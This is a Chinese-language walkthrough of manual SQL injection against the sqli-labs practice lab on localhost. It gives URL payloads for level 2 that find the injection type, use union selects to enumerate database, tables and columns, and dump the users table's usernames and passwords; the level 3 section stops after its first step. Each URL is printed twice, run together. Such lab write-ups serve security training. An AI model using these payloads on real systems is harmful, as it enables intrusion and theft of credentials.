sql手工注入——sqli-labspage第二关到第五关

第二关

一.判断注入类型

为数字型

http://127.0.0.1/Less-2/?id=1%20--+http://127.0.0.1/Less-2/?id=1%20--+

二.联合查询数据库名和用户联合查询

http://127.0.0.1/Less-2/?id=-1%20union%20select%201,database(),user()%20--+http://127.0.0.1/Less-2/?id=-1%20union%20select%201,database(),user()%20--+

三.查出网站的数据库里面的所有表名

http://127.0.0.1/Less-2/?id=-1%20union%20select%201,group_concat(table_name),3%20from%20information_schema.tables%20where%20table_schema=%27security%27%20--+http://127.0.0.1/Less-2/?id=-1%20union%20select%201,group_concat(table_name),3%20from%20information_schema.tables%20where%20table_schema=%27security%27%20--+

四.查出users表里面的所有列

http://127.0.0.1/Less-2/?id=-1%20%20union%20select%201,group_concat(column_name),3%20from%20information_schema.columns%20where%20table_schema=%27security%27%20and%20table_name=%27users%27%20--+http://127.0.0.1/Less-2/?id=-1%20%20union%20select%201,group_concat(column_name),3%20from%20information_schema.columns%20where%20table_schema=%27security%27%20and%20table_name=%27users%27%20--+

五.查询表中所有的数据

http://127.0.0.1/Less-2/?id=-1%20union%20select%201,2,group_concat(id,username,password)%20from%20users%20--+http://127.0.0.1/Less-2/?id=-1%20union%20select%201,2,group_concat(id,username,password)%20from%20users%20--+

第三关

---

一.判断注入类型

http://127.0.0.1/Less-3/?id=1%20--+http://127.0.0.1/Less-3/?id=1%20--+